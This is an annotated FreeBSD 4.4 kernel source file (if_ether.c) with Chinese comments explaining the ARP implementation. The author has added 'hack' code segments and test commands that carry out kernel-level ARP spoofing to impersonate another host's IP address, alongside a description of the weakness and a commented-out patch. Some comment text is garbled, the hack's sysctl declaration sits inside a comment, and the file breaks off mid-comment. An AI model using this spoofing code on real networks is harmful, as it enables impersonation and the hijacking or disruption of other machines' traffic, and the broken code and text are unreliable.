/*
* 以太网解释协议(ARP). 文件名:/sys/netinet/if_ether.c
* 注释ie_minix
*一,函数入口:
* ARP有两个入口:1
* 由ether_input发出一软中断(见我的ethernet网络代码详解一文),arpintr中断例程被调用,检查完数据后
* 该中断例程调用in_arpinput函数.
* 入口2:
* 由ether_output函数在查询输出的硬件地址时,调用arpresolve函数进行地址解析.
* 所以,ARP基本上是和ether网输出密切相关的.
*二,相关的结构:
* 关于他使用的结构方面,llinfo_arp是和路由相关的一个结构,ether_arp结构是一个遵循RFC826的一个ARP包的结构.
*三,学习顺序:
* 在看本文的时候,一般从函数arpintr(中断例程)开始看,紧接着看in_arpinput函数.再看看支撑函数arplookup后停止,这是第一入口.
* arpresolve是第二入口的开始,他是解析地址的函数,如果解析不了,调用arprequest函数发送一ARP请求包,第二入口结束.
* 关于arp_rtrequest函数和路由函数相关,作用是添加或删除一ARP节点.如果看不懂,可到以后的路由函数讲解时再了解.
*四,ARP欺骗的核心内实现:
* 在整个程序中,有hack------是我加入的代码,一直到end------结束,大概有十来段这样的代码,是用来实现ARP欺骗,下面我简要的讲一
* 讲他的实现原理:
* 在我们开机后,系统初始化阶段,确切的说是在arp_ifinit初始函数被调用时,将发送一免费ARP,所谓免费,是指要寻找的IP地址是我自
* 己的IP地址,那么网络上如果有和我相同的IP地址的机器(IP地址冲突),他就会根据我的这个ARP包中的发送源硬件地址应答一个ARP
* 包给我,我的接收函数就能判断是否有人和我的IP设置的是一样的.初始化函数不但在开机后初始化时实行,而且在你执行ifconfig改变
* IP地址时也会调用,如果要进行ARP欺骗,那么你就不能发送一免费ARP包,要不然对方的机器会记录下你的欺骗.这一点是其他的关于
* ARP欺骗方式在用户区域所不能达到的.在你的机器冒充另外一台机器期间,会遇见两种情况,第一种是:被冒充的机器发送一个ARP
* 请求,因为是广播发送,所以你也接到了该请求,被请求的机器会应答一ARP,这时我们也要应答一ARP,不过要比真正的那台机器晚一点
* (在程序中我用的是DELAY延迟500毫秒,该数据可以进行调整,以适合你本地网络中较慢的机器),他就在被冒充的机器上进行覆盖前
* 一个回应,使得被冒充的机器认为你就是他要找的机器,当然被冒充的机器紧接着将发送IP包给你的机器,由于你的IP层会判断包的目的
* IP地址(肯定目的IP不对,因为被欺骗了),所以IP层会将他抛弃.第二种情况是:有其他的机器想和被欺骗的机器相联系,其他机器也将广播
* 一ARP请求,目的IP是被欺骗机器的IP,首先被欺骗主机会回应一ARP,我们也和被欺骗主机一样回应一ARP,覆盖被欺骗主机的回应.
* 五,漏洞的分析:
* 目前,我所见到的BSD类操作系统都可能被欺骗,其原因是没有判断ARP请求方的目的硬件地址是否是来之于广播地址,而我们进行的
* 所有欺骗都是进行单播方式的请求.
*六,解决方案:
* 在程序中的patch到patch end部分是我的解决方案.主要是对ARP请求部分的目的硬件地址是否是广播地址进行判断,如果要使用,请
* 把注释去掉就行了.
*七,编译:
*对于FreeBSD4.4版本,可直接拷贝覆盖/sys/net/if_ether.c文件,对于当前版本,只要把hack-----到end-----之间的段粘贴到相应的地方.
*本程序在4.4下已经编译通过,由于实验条件不行,实验没有在两台以上机器进行过,在这里希望网友能帮忙测试,测试的方法是:
*1.覆盖原文件后,进行核心编译.
*2.重启动后,执行:
* arp -d -a
* sysctl net.link.ether.inet.ctrlhack=1
* ifconfig vr0 192.168.0.4 255.255.255.0
* ^ ^ ^
* 你的卡 你要冒充的IP 掩码
* 最好是把上面几个命令放到批执行文件中执行.
*3.用被冒充的机器去PING 其他机器,这时候有可能ICMP包能发出几个,但应该立即没有反应.
*4.如果有什么问题,大家可以把他记录,并发布到BBS上,更希望能多测试几种系统.
*
*/
#include "opt_inet.h" /*2个头文件由编译器在编译操作系统核心时产生的一些常量*/
#include "opt_bdg.h"
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/queue.h> /*队列操作*/
#include <sys/sysctl.h>
#include <sys/systm.h>
#include <sys/mbuf.h> /*缓冲管理*/
#include <sys/malloc.h> /*分配缓冲*/
#include <sys/socket.h> /*主要是sockaddr_in结构要用到*/
#include <sys/syslog.h> /*LOG宏用到,即日志记录*/
#include <net/if.h> /*硬件接口使用的一些结构,if的意思是interface*/
#include <net/if_dl.h> /*链路层的一些数据结构*/
#include <net/if_types.h>
#include <net/route.h> /*和路由相关的函数*/
#include <net/netisr.h> /*注册中断向量用到的函数*/
#include <net/if_llc.h>
#ifdef BRIDGE /*如果定义了桥转发*/
#include <net/ethernet.h>
#include <net/bridge.h>
#endif
#include <netinet/in.h>
#include <netinet/in_var.h>
#include <netinet/if_ether.h>
#include <net/iso88025.h>
/*hack:------------------------*/
#include <machine/clock.h> /*因为要使用DELAY()延迟函数*/
static int arphacklock=0; /*全局变量用的锁*/
struct in_addr gatewayip; /*网关IP*/
struct in_addr oldip; /*我机器老的IP地址*/
static int trueip=0; /*是否使用冒充IP发送ARP请求*/
static u_char ithardaddr[6];/*要冒充机器的硬件地址,在转移到临时缓冲之前由锁来控制其写*/
static int fromsubr=100; /*实验用,看看本机发出ARP请求是那个函数*/
/*end-------------------------*/
#define SIN(s) ((struct sockaddr_in *)s) /*强制转化成sockaddr_in结构,即Internet地址结构,其中s一般是sockaddr结构*/
#define SDL(s) ((struct sockaddr_dl *)s)/*强制转化成sockaddr_dl结构,即ethernet地址结构,其中s一般是sockaddr结构*/
SYSCTL_DECL(_net_link_ether);/*用于sysctl 用法如下:sysctl net.link.ether....=XXX,
SYSCTL_DECL是申明下面的SYSCTL_NODE将继承的节点*/
SYSCTL_NODE(_net_link_ether, PF_INET, inet, CTLFLAG_RW, 0, "");/**/
/*
hack:
static int hackarp=0;
SYSCTL_INT(_net_link_ether_inet, OID_AUTO, ctrlhack, CTLFLAG_RW,&hackarp, 0, "");
/*这方便你在用户区可控制核心变量,用法如下:sysctl net.link.ether.inet.ctlhackarp=1 那么变量hackarp就为1了.
下面的程序会根据hack的真假判断来进行欺骗
*/
/* 一些记时器的值 */
static int arpt_prune = (5*60*1); /* 每5分钟过一遍列表,这个变量是由计时器使用,看看有没有超时ARP结点,有就删除他 */
static int arpt_keep = (20*60); /* 一旦解析了, 保持 20 分钟 */
static int arpt_down = 20; /* 一旦公布了down, 20秒不发送 */
/*对以上3个变量的控制*/
/*使用方法:sysctl net.link.ether.inet.prune_intvl=180 也就是把ARP定时期改为了每3分钟查一次ARP结点*/
SYSCTL_INT(_net_link_ether_inet, OID_AUTO, prune_intvl, CTLFLAG_RW,
&arpt_prune, 0, "");
SYSCTL_INT(_net_link_ether_inet, OID_AUTO, max_age, CTLFLAG_RW,
&arpt_keep, 0, "");
SYSCTL_INT(_net_link_ether_inet, OID_AUTO, host_down_time, CTLFLAG_RW,
&arpt_down, 0, "");
#define rt_expire rt_rmx.rmx_expire /*这里是放当前时间的,如果rtinit路由初始程序加入一IP路由,那么把当前时间+20*60秒放进去,*/
/*arptimer函数会和当前时间(当前时间由时钟每秒加1)比较,如果相等或比当前时间小,即到了或*/
/*该ARP结点时间过了20分钟.即超时*/
/*这里其实是真正的ARP列表*/
struct llinfo_arp {
LIST_ENTRY(llinfo_arp) la_le;/*单向列表宏,说明该结构是一单向的列表,尾巴为0*/
struct rtentry *la_rt; /*和该结点相关的路由*/
struct mbuf *la_hold; /* 由于该地址正等待解释,所以要发送的数据(mbuf链头)指针暂时存放 */
long la_asked; /* 为该地址发送了一共几个ARP请求,如果到了5个,那么暂时停止20秒*/
#define la_timer la_rt->rt_rmx.rmx_expire
};
static LIST_HEAD(, llinfo_arp) llinfo_arp;/*全局ARP链表及表头,从这开始就可以遍历整个ARP结点*/
struct ifqueue arpintrq = {0, 0, 0, 50};/*ARP请求队列,在我的"ethernet网络代码详解"中有说明,因为我们要hack,所以要改大一些,100*/
static int arp_inuse, arp_allocated;/*这都是统计用的*/
static int arp_maxtries = 5; /*在解释地址时重复发送ARP请求的包的次数*/
static int useloopback = 1; /* 在本地使用环回接口 */
static int arp_proxyall = 0; /*ARP代理是否使用*/
/*对以上3个变量的控制*/
SYSCTL_INT(_net_link_ether_inet, OID_AUTO, maxtries, CTLFLAG_RW,
&arp_maxtries, 0, "");
SYSCTL_INT(_net_link_ether_inet, OID_AUTO, useloopback, CTLFLAG_RW,
&useloopback, 0, "");
SYSCTL_INT(_net_link_ether_inet, OID_AUTO, proxyall, CTLFLAG_RW,
&arp_proxyall, 0, "");
static void arp_rtrequest __P((int, struct rtentry *, struct sockaddr *));/*添加或删除一ARP节点,和路由有关*/
static void arprequest __P((struct arpcom *, /*发送一ARP请求,目的硬件地址是广播地址*/
struct in_addr *, struct in_addr *, u_char *));
static void arpintr __P((void)); /*ARP软中断,由ether_input函数(if_ethersubr.c)调用*/
static void arptfree __P((struct llinfo_arp *)); /*释放一ARP节点*/
static void arptimer __P((void *)); /*定时查询ARP节点是否超时*/
static struct llinfo_arp
*arplookup __P((u_long, int, int)); /*在路由表中查询IP的路由,并返回该IP路由的相关的ARP节点信息*/
#ifdef INET
static void in_arpinput __P((struct mbuf *)); /*由ARP软中断调用,对进入的ARP包进行分析*/
#endif
/*
* 定时程序. 该函数用来查看是否有ARP超时(20分钟).有就清除他
*/
static void
arptimer(ignored_arg)
void *ignored_arg;
{
int s = splnet();/*链路层中所有对链表要操作的都要屏蔽网络中断*/
register struct llinfo_arp *la = llinfo_arp.lh_first;/*第一个ARP结点表,是一个单向链表,通过la->la_le.le_next链接到下一个*/
struct llinfo_arp *ola;/*临时存放ARP界点用的*/
timeout(arptimer, (caddr_t)0, arpt_prune * hz);/*每格5分钟查看一次(调用自己)*/
while ((ola = la) != 0) {/*没有到链表尾巴就继续循环*/
register struct rtentry *rt = la->la_rt;/*该ARP结点相关的路有表*/
la = la->la_le.le_next;/*while的循环可遍历整个ARP结点表*/
if (rt->rt_expire && rt->rt_expire <= time_second)/*如果是非永久性ARP并且时间超时,在启用了一个ARP结点时,*/
/*rt->rt_expire会设置成当前的time_second(系统内的秒)+20分钟*/
/*然后time_second就滴答滴答的在走,当系统的time_second走了20*/
/*分钟时候,就使rt->rt_expire和time_second相等了,等式成立.就...*/
arptfree(ola); /* 定时器期满,清楚该ARP记录,函数在后面 */
}
splx(s);/*开网络中断*/
}
/*
* 当你在设置你的某块网卡的IP时(如:ifconfig ...),
*/
static void
arp_rtrequest(req, rt, sa)
int req;/*是删除,添加还是克隆一个路由(克隆路由是因为到外网的IP都必须经过网关,也就是说,你的数据包发给网关就没事了),*/
/*所以外网的IP的路由都是克隆网关的就OK了.*/
register struct rtentry *rt;
struct sockaddr *sa;
{
register struct sockaddr *gate = rt->rt_gateway;
register struct llinfo_arp *la = (struct llinfo_arp *)rt->rt_llinfo;
static struct sockaddr_dl null_sdl = {sizeof(null_sdl), AF_LINK};
static int arpinit_done;
if (!arpinit_done) {/*判断是否建立了ARP节点队列*/
arpinit_done = 1;
LIST_INIT(&llinfo_arp);/*建立ARP节点队列*/
timeout(arptimer, (caddr_t)0, hz);/*启动计时器*/
register_netisr(NETISR_ARP, arpintr);
/*我们来看看register_netisr函数,即设置中断向量,NETISR_ARP是中断号,arpintr中断例程
int
register_netisr(num, handler)
int num;
netisr_t *handler;/* 中断例程指针
{
if (num < 0 || num >= (sizeof(netisrs)/sizeof(*netisrs)) {/*中断号不能小于0或大于中断向量数组的最大下标*
printf("register_netisr: bad isr number: %d\n", num);
return (EINVAL);
}
netisrs[num] = handler;/*设置他,唯一调用他的是if_ethersubr.c中的ether_input函数(我是指ARP哦)*
return (0); /*看一下sys\i386\isa\ipl.s(82行):文件中的.globl _netisrs定义为32个长字的netisrs中断向量数组.*
}
*/
}
if (rt->rt_flags & RTF_GATEWAY) /*如果是网关,返回*/
return;
switch (req) {
case RTM_ADD:/*添加一条路由*/
/*
*/
if ((rt->rt_flags & RTF_HOST) == 0 && /*不是主机路由且掩码不是全1(即不是主机路由,主机路由隐含的掩码是全1)*/
SIN(rt_mask(rt))->sin_addr.s_addr != 0xffffffff)
rt->rt_flags |= RTF_CLONING;/*加克隆标志,即外网的IP,使用克隆吧*/
if (rt->rt_flags & RTF_CLONING) {
/*
* 有克隆标志,即到外网,把网关的考过来就行了.
*/
rt_setgate(rt, rt_key(rt), /*既然是外网的IP,设置好他的路由的网关地址*/
(struct sockaddr *)&null_sdl);
gate = rt->rt_gateway;/*gate是一sockaddr结构,那么他得到的是网关的硬件地址*/
SDL(gate)->sdl_type = rt->rt_ifp->if_type;/*不用去查SDL宏,看都能看出来,他是把sockaddr转成sockaddr_dl结构.*/
SDL(gate)->sdl_index = rt->rt_ifp->if_index;/*想一想,if_type在IP路由会是什么呢(当然还有IPX路由)*/
rt->rt_expire = time_second;/*看了上面哪个函数就知道了,这个路由开始计时,放入当前时间的秒值*/
break;
}
/* 发送一免费ARP的通告.免费ARP用于查看是否有人和自己的IP相冲突. */
if (rt->rt_flags & RTF_ANNOUNCE)
arprequest((struct arpcom *)rt->rt_ifp, /*发送一ARP请求*/
&SIN(rt_key(rt))->sin_addr, /*看到吧,源IP地址和目的IP地址都是自己*/
&SIN(rt_key(rt))->sin_addr,
(u_char *)LLADDR(SDL(gate)));/*我的硬件地址*/
case RTM_RESOLVE:
if (gate->sa_family != AF_LINK ||
gate->sa_len < sizeof(null_sdl)) {
log(LOG_DEBUG, "arp_rtrequest: bad gateway value\n");
break;
}
SDL(gate)->sdl_type = rt->rt_ifp->if_type;
SDL(gate)->sdl_index = rt->rt_ifp->if_index;
if (la != 0)
break; /*到这是因为路由发生了改变*/
/*
* 该路由可能来自克隆路由.
*/
R_Malloc(la, struct llinfo_arp *, sizeof(*la));/*分配一ARP节点所需的内存*/
rt->rt_llinfo = (caddr_t)la;/*使相关路由的ARP节点指针指向所分配的地方*/
if (la == 0) { /*一开始我觉得这里有毛病,上面的那句应该放到该判断的后面,并应该FREE掉分配的结构,但没关系,清大家思考*/
log(LOG_DEBUG, "arp_rtrequest: malloc failed\n");
break;
}
arp_inuse++, arp_allocated++;/*统计用*/
Bzero(la, sizeof(*la));/*结构清0*/
la->la_rt = rt;/*设置ARP节点的相关路由回指针*/
rt->rt_flags |= RTF_LLINFO;/*在相关的路由中加上有ARP节点标志*/
LIST_INSERT_HEAD(&llinfo_arp, la, la_le);/*把该ARP节点插入ARP节点链表中(队列的插入操作)*/
#ifdef INET
/*
*广播地址和多播地址,他们都是永久ARP
*/
if (IN_MULTICAST(ntohl(SIN(rt_key(rt))->sin_addr.s_addr))) {
ETHER_MAP_IP_MULTICAST(&SIN(rt_key(rt))->sin_addr,
LLADDR(SDL(gate)));
SDL(gate)->sdl_alen = 6;/*硬件地址的长度,对rt(路由信息结构)的rt_gateway成员操作*/
rt->rt_expire = 0;/*0表示该ARP永不过期*/
}
if (in_broadcast(SIN(rt_key(rt))->sin_addr, rt->rt_ifp)) {/*rt_key(rt)是查找路由信息中所包含IP的硬件地址,属路由函数*/
memcpy(LLADDR(SDL(gate)), etherbroadcastaddr, 6);
SDL(gate)->sdl_alen = 6;/*硬件地址的长度,对rt(路由信息结构)的rt_gateway成员操作*/
rt->rt_expire = 0;/*0表示该ARP永不过期*/
}
#endif
if (SIN(rt_key(rt))->sin_addr.s_addr ==
(IA_SIN(rt->rt_ifa))->sin_addr.s_addr) {
rt->rt_expire = 0;/*置永久ARP标志,即该ARP永不过期*/
Bcopy(((struct arpcom *)rt->rt_ifp)->ac_enaddr, /*把本网卡的硬件地址放入路由的rt->rt_gateway中*/
LLADDR(SDL(gate)), SDL(gate)->sdl_alen = 6); /*记住:内核函数Bcopy和Memcpy都是内存拷贝,但参数方向不同*/
if (useloopback)
rt->rt_ifp = loif;
}
break;
case RTM_DELETE:/*删除一ARP节点,当然也要对对应的路由进行相关的操作*/
if (la == 0)
break;
arp_inuse--;/*统计用*/
LIST_REMOVE(la, la_le);/*从链表中(ARP节点链表,即结构llinfo_arp)删除一ARP节点*/
rt->rt_llinfo = 0;/*该路由所指向的ARP节点置空*/
rt->rt_flags &= ~RTF_LLINFO;/*去掉含有ARP节点标志*/
if (la->la_hold)/*如果在该节点中还有未发送的mbuf,释放掉*/
m_freem(la->la_hold);
Free((caddr_t)la);/*释放该ARP节点结构占用的内存*/
}
}
/*
* 广播一ARP请求:
* ac 要发送该ARP包的网卡(由以太网通用结构arpcom指向该卡的相关结构)
* sip- 源IP地址
* tip- 目的IP地址
* enaddr 源以太网地址
*/
static void
arprequest(ac, sip, tip, enaddr)
register struct arpcom *ac; /*以太网通用结构*/
register struct in_addr *sip, *tip;/*源和目的IP地址*/
register u_char *enaddr;/*发送ARP包的卡的硬件地址*/
{
register struct mbuf *m;/*mbuf链指针*/
register struct ether_header *eh;/*以太网头部*/
register struct ether_arp *ea; /*ARP头部结构*/
struct sockaddr sa;/*在这没用上,除非你在ISO协议中*/
static u_char llcx[] = { 0x82, 0x40, LLC_SNAP_LSAP, LLC_SNAP_LSAP, /*用于ISO协议*/
LLC_UI, 0x00, 0x00, 0x00, 0x08, 0x06 };
if ((m = m_gethdr(M_DONTWAIT, MT_DATA)) == NULL)/*该函数在mbuf.c中,建立一mbuf,其实他是MGETHDR(m, how, type);下面对该宏有详细的解释*/
return;
m->m_pkthdr.rcvif = (struct ifnet *)0;/*对于此语句,本人并没有发现什么有用的地方,不管在ether_output,还是在驱动程序的包输出中,都没有用上他*/
switch (ac->ac_if.if_type) {/*查看该卡所用的协议*/
case IFT_ISO88025:/*支持ISO协议,我们可以略去*/
m->m_len = sizeof(*ea) + sizeof(llcx);
m->m_pkthdr.len = sizeof(*ea) + sizeof(llcx);
MH_ALIGN(m, sizeof(*ea) + sizeof(llcx));
(void)memcpy(mtod(m, caddr_t), llcx, sizeof(llcx));
(void)memcpy(sa.sa_data, etherbroadcastaddr, 6);
(void)memcpy(sa.sa_data + 6, enaddr, 6);
sa.sa_data[6] |= TR_RII;
sa.sa_data[12] = TR_AC;
sa.sa_data[13] = TR_LLC_FRAME;
ea = (struct ether_arp *)(mtod(m, char *) + sizeof(llcx));
bzero((caddr_t)ea, sizeof (*ea));
ea->arp_hrd = htons(ARPHRD_IEEE802);
break;
case IFT_FDDI:
case IFT_ETHER:/*以太网协议和FDDI协议大体上相同*/
default:
m->m_len = sizeof(*ea);/*ARP结构大小*/
m->m_pkthdr.len = sizeof(*ea);
/*(下面的)此宏的意思是把m->m_data的指针进行调整(按32位对齐)
#define MH_ALIGN(m, len) do { (m)->m_data += (MHLEN - (len)) & ~(sizeof(long) - 1); } while (0)
*/
MH_ALIGN(m, sizeof(*ea));
ea = mtod(m, struct ether_arp *);/*重新定位ARP头部指针()*/
eh = (struct ether_header *)sa.sa_data;
bzero((caddr_t)ea, sizeof (*ea));
eh->ether_type = htons(ETHERTYPE_ARP);
/*hack:------------------------*/
if ((hackarp==1) && (trueip==1))/*在发送请求包时,有两种方法:1,发送原来老的IP的请求,目的硬件地址是广播地址*/
{ /* 2,发送新的(冒充的)IP的请求,目的地址?嵌苑降挠布?刂?(在上面发送后,对方会回应)*/
(void)memcpy(eh->ether_dhost, ithardaddr, 6); /* 只要回应了,把对方的IP,硬件地址记录下后,trueip设置为1,再发送*/
}else{
/*end-------------------------*/
(void)memcpy(eh->ether_dhost, etherbroadcastaddr,/*发送ARP请求包到以太网络的广播地址*/
sizeof(eh->ether_dhost));
/*hack:------------------------*/
}
/*end-------------------------*/
ea->arp_hrd = htons(ARPHRD_ETHER);/*0800是IP包,ARPHRD_ETHER是ARP包*/
break;
}
ea->arp_pro = htons(ETHERTYPE_IP); /*IP类型*/
ea->arp_hln = sizeof(ea->arp_sha); /* 硬件地址长度 */
ea->arp_pln = sizeof(ea->arp_spa); /* 协议地址长度 */
ea->arp_op = htons(ARPOP_REQUEST); /*ARP包的操作类型,即该出是请求*/
(void)memcpy(ea->arp_sha, enaddr, sizeof(ea->arp_sha));/*本卡的硬件地址*/
/*hack:------------------------*/
if (hackarp==1) {
if (trueip==1)/*当要发送冒充的IP时,*/
{
/*end-------------------------*/
(void)memcpy(ea->arp_spa, sip, sizeof(ea->arp_tpa));/*本卡的IP地址*/
/*hack:------------------------*/
trueip=0;
arphacklock=0;/*解锁,之后ithardaddr变量可被操作*/
}else{
if (oldip.s_addr!=NULL)/*当然,这是用老的IP向广播地址发ARP请求包*/
(void)memcpy(ea->arp_spa, &oldip, sizeof(ea->arp_tpa));
}
}else{
(void)memcpy(ea->arp_spa, sip, sizeof(ea->arp_tpa));/*这是正常的操作*/
}
/*end------------------------*/
(void)memcpy(ea->arp_tpa, tip, sizeof(ea->arp_tpa));/*目的地址IP*/
sa.sa_family = AF_UNSPEC;/*直接发送,在if_ethersubr.c中的if_output会判断此标志,有此标志,if_output将不重新填充以太网头部*/
sa.sa_len = sizeof(sa);
(*ac->ac_if.if_output)(&ac->ac_if, m, &sa, (struct rtentry *)0);/*由于在本地的路由中找不到该IP,所以,rtentry的指针为0*/
}
/* 解析一IP地址到以太网地址,如果成功,目的地被填充.如果在ARP表中没有,广播一请求
* 一但被解析了,被保留的mbuf再重新发送,返回值是1则说明目的地被填充,包将发送,0表示
* 包被接管,或者现在或者将来传送,在整个INET源代码中,只有if_ethersubr.c中的if_output
* 函数对他进行了调用
*/
int
arpresolve(ac, rt, m, dst, desten, rt0)
register struct arpcom *ac;
register struct rtentry *rt;
struct mbuf *m;
register struct sockaddr *dst;
register u_char *desten;
struct rtentry *rt0;
{
struct llinfo_arp *la = 0;/*定义一ARP节点指针*/
struct sockaddr_dl *sdl;/*定义一数据链路层地址结构,该结构属于sockaddr的子集*/
if (m->m_flags & M_BCAST) { /* 广播地址 */
(void)memcpy(desten, etherbroadcastaddr, sizeof(etherbroadcastaddr));/*把广播的硬件地址返回给ether_output函数*/
return (1);
}
if (m->m_flags & M_MCAST) { /* 多播地址 */
ETHER_MAP_IP_MULTICAST(&SIN(dst)->sin_addr, desten);/*把多播的硬件地址返回给ether_output函数*/
return(1);
}
if (rt)/*如果以太网ether_output函数调用本函数时的rt(路由信息)不为空*/
la = (struct llinfo_arp *)rt->rt_llinfo;/*那么把路由中指向ARP节点的指针放到la中*/
if (la == 0) {/*la 是ARP地址表的入口*/
la = arplookup(SIN(dst)->sin_addr.s_addr, 1, 0);/*arplookup函数查找该IP,找到了就返回一ARP节点,没找到就建立一ARP节点(因为第2个参数为1)*/
if (la)
rt = la->la_rt;/*利用llinfo_arp结构(即ARP节点)的回指针定位其路由表*/
}
if (la == 0 || rt == 0) {/*如果ARP节点还是空(没找到),或者相关的路由表没有*/
log(LOG_DEBUG, "arpresolve: can't allocate llinfo for %s%s%s\n",
inet_ntoa(SIN(dst)->sin_addr), la ? "la" : "",
rt ? "rt" : "");
m_freem(m);
return (0);
}
sdl = SDL(rt->rt_gateway);/*返回网关的硬件地址*/
/* 检查地址族和长度是否可用,OK的话解释地址,NOT的话就返回0给if_ethersubr.c中的if_output函数
*/
if ((rt->rt_expire == 0 || rt->rt_expire > time_second) &&/*如果是永久ARP或ARP未超时并且*/
sdl->sdl_family == AF_LINK && sdl->sdl_alen != 0) { /*地址类型是硬件链路层地址,并且地址长度不为0*/
bcopy(LLADDR(sdl), desten, sdl->sdl_alen); /*那么就拷贝该硬件地址到desten*/
return 1; /*ether_output函数如果得到返回值1(成功),那他就知道*/
} /*他调用时的desten指针指向了正确的对方的硬件地址*/
/*
* 如果接口不支持ARP(PPP等点对点网络).
*/
if (ac->ac_if.if_flags & IFF_NOARP)
return (0);
/*
* 先把要发送的数据指针临时保存,等到发送ARP请求查询包后,得到正确的对方硬件地址时再发送
*/
if (la->la_hold) /*上次的mbuf还有没发的吗(也是因为同样的原因,但要发送的IP没一直没被解释)*/
m_freem(la->la_hold); /*释放掉上次的包(一个mbuf链),因为上次的地址可能找不到了*/
la->la_hold = m; /*把这次的保存进去*/
if (rt->rt_expire) { /*如果不是永久ARP节点*/
rt->rt_flags &= ~RTF_REJECT;
if (la->la_asked == 0 || rt->rt_expire != time_second) {/*不在同一秒钟,即一秒钟可发一次,5次后还没解析,就停止20秒*/
rt->rt_expire = time_second;/*当前时间*/
if (la->la_asked++ < arp_maxtries)/*在解释地址时重复发送ARP请求的包的次数,共5次*/
arprequest(ac,&SIN(rt->rt_ifa->ifa_addr)->sin_addr,&SIN(dst)->sin_addr, ac->ac_enaddr);/*发送请求*/
else {
rt->rt_flags |= RTF_REJECT;/*为了防止ARP泛洪,*/
rt->rt_expire += arpt_down;/*arpt_down=20秒,一旦公布了down, 20秒不发送 */
la->la_asked = 0;/*一共可以询问5次,从0次开始,上面有++*/
}
}
}
return (0);
}
/*
* 当数据包在if_ethersubr.c中的ether_input函数处理后,如果查到源,目的地址后的
* 2字节是ETHERTYPE_ARP时会产生一软中断,中断向量指向此arpintr函数,实际上的意思
* 是网络上有一ARP包被我们的网卡接收了.就由arpint函数处理
*/
static void
arpintr()
{
register struct mbuf *m;
register struct arphdr *ar;
int s;
/*要理解下面的while循环,你必须看看我从if_ethersubr.c中的处理数据包到队列的情况,
下面是我ctrl+v过来的:
---------------------------------------------------------------------------------------------
s = splimp();/*关网络中断*
if (IF_QFULL(inq)) {
/*#原型是define IF_QFULL(ifq) ((ifq)->ifq_len >= (ifq)->ifq_maxlen) 队列满*
IF_DROP(inq);
/*原型是#define IF_DROP(ifq) ((ifq)->ifq_drops++) 丢弃数加1*
m_freem(m);
} else
IF_ENQUEUE(inq, m);
/*以下是原型,作用是把m(mbuf链)加入到队列inq的尾巴
#define IF_ENQUEUE(ifq, m) { (m)->m_nextpkt = 0; \ mbuf链表的下一个链表为结束,注意:不是mbuf链中的下一mbuf
if ((ifq)->ifq_tail == 0) \ 如果队列尾巴为没有,则该队列没初始化
(ifq)->ifq_head = m; \ 初始化队列头为M
else \ 有尾巴,即该队列已经有mbuf
(ifq)->ifq_tail->m_nextpkt = m; \ 当前队列的尾巴的mbuf链首指针为m
(ifq)->ifq_tail = m; \ 队列的尾巴指向m(是一mbuf链首)
(ifq)->ifq_len++; \ 队列长度加1
}
*如果您对队列,mbuf,mbuf链,mubf链首搞的稀里糊涂的话,不要紧,我会写一篇关于mbuf的文章
splx(s); /*开网络中断*
-----------------------------------------------------------------------------------------------
*/
while (arpintrq.ifq_head) {/*arpintrq就是上面的inq*/
/*
这里我解释一下arpintrq结构,该结构实际上是一ifqueue结构,在if_ether.h中定义如下:
struct ifqueue arpintrq;
那么ifqueue又是什么样的呢?
在if_var.h中是这样定义的:
struct ifqueue {
struct mbuf *ifq_head; /* mbuf链(排在队列的第一个)
struct mbuf *ifq_tail; /* mbuf链(排在队列的最后一个) 注意:记住了,是mbuf链,不是单个的mbuf
int ifq_len; /* 多少个链
int ifq_maxlen; /*最大容纳mbuf链数,他有个初始值,由网卡驱动程序填写,我见到的是5
int ifq_drops; /*和ifq_maxlen配合使用,当队列放满了即ifq_len>ifq_maxlen时,ifq_drops加1,
}; /*并且抛弃进来的mbuf链
*/
s = splimp();/*关中断,凡是对队列进行操作的都要*/
IF_DEQUEUE(&arpintrq, m);/*把队列中的第一个mbuf链的指针放入m中
我们来看看这个宏
#define IF_DEQUEUE(ifq, m) { \ /*当然,这ifq是指arpintrq
(m) = (ifq)->ifq_head; \ /* 第一个mbuf链放到m中
if (m) { \ /*如果m指向空,在宏之外的函数会处理
if (((ifq)->ifq_head = (m)->m_nextpkt) == 0) \ /*把该链的下一个链首放入队列头并判断是否为空
(ifq)->ifq_tail = 0; \ /*如果头都为空,那么尾巴一定要置空,要不然...就全乱套了
(m)->m_nextpkt = 0; \ /*多此一举,你们看看上面都判断了为空,这里还要填空
(ifq)->ifq_len--; \ /* 长度减一
} }
*/
splx(s);/*操作完成,开中断*/
if (m == 0 || (m->m_flags & M_PKTHDR) == 0)/*因为上面的宏会返回空,所以在这里要处理一下*/
panic("arpintr");
if (m->m_len < sizeof(struct arphdr) &&
((m = m_pullup(m, sizeof(struct arphdr))) == NULL)) {
/*注意上面这个if,他是先执行m->m_len<sizeof(struct arphdr),
也就是说如果mbuf链的第一个mubf的长度小于标准的arp头部的话,有可能在这个mbuf中
只有arp头的一部分,另外一部分通过调用m_pullup合并相邻的这两个mbuf看看是否有效,
根据统计,通常是无效的,这种情况在判断IP头的时候也会遇到.m_pullup是一大函数,以后我
会讲一讲
*/
log(LOG_ERR, "arp: runt packet -- m_pullup failed\n");/*记录下来*/
continue;/*既然这个mbuf链是无意义的,那么进行下一个while*/
}
ar = mtod(m, struct arphdr *);
if (ntohs(ar->ar_hrd) != ARPHRD_ETHER
&& ntohs(ar->ar_hrd) != ARPHRD_IEEE802) {
log(LOG_ERR,
"arp: unknown hardware address format (0x%2D)\n",
(unsigned char *)&ar->ar_hrd, "");
m_freem(m);/*释放掉该mbuf链*/
continue;/*既然这个mbuf链是无意义的,那么进行下一个while*/
}
if (m->m_pkthdr.len < sizeof(struct arphdr) + 2 * ar->ar_hln/*这是判断该mbuf链的
总长度(即一arp包的长度)是否合格,在我的ARP头文件解释中有说明ARP包的长度及结构*/
+ 2 * ar->ar_pln) {
log(LOG_ERR, "arp: runt packet\n");
m_freem(m);/*释放掉该mbuf链*/
continue;/*既然这个mbuf链是无意义的,那么进行下一个while*/
}
switch (ntohs(ar->ar_pro)) {
#ifdef INET
case ETHERTYPE_IP:/*我们知道的ARP解释就目前只有对IP的*/
in_arpinput(m);/*调用分析函数,在下面*/
continue;
#endif
}
m_freem(m);/*对ar->ar_pro中的协议不认识,释放掉该mbuf链*/
}
}
#ifdef INET
/* ARP的算法规则遵循RFC 826
* 下面我简单的说一下RFC 826,非关键的东西我就跳过去了.
* 该协议原现是为DEC/Intel/Xerox的10M以太网设计的.
* 下面是他的包格式:
Ethernet 传输层,即以太网头部 注意:是按顺序的)
48.bit: 目的方的以太网地址
48.bit: 发送方的以太网地址
16.bit: 协议类型 = ether_type$ADDRESS_RESOLUTION(原来有上面说的三种(ISO协议),后来加了这一种)
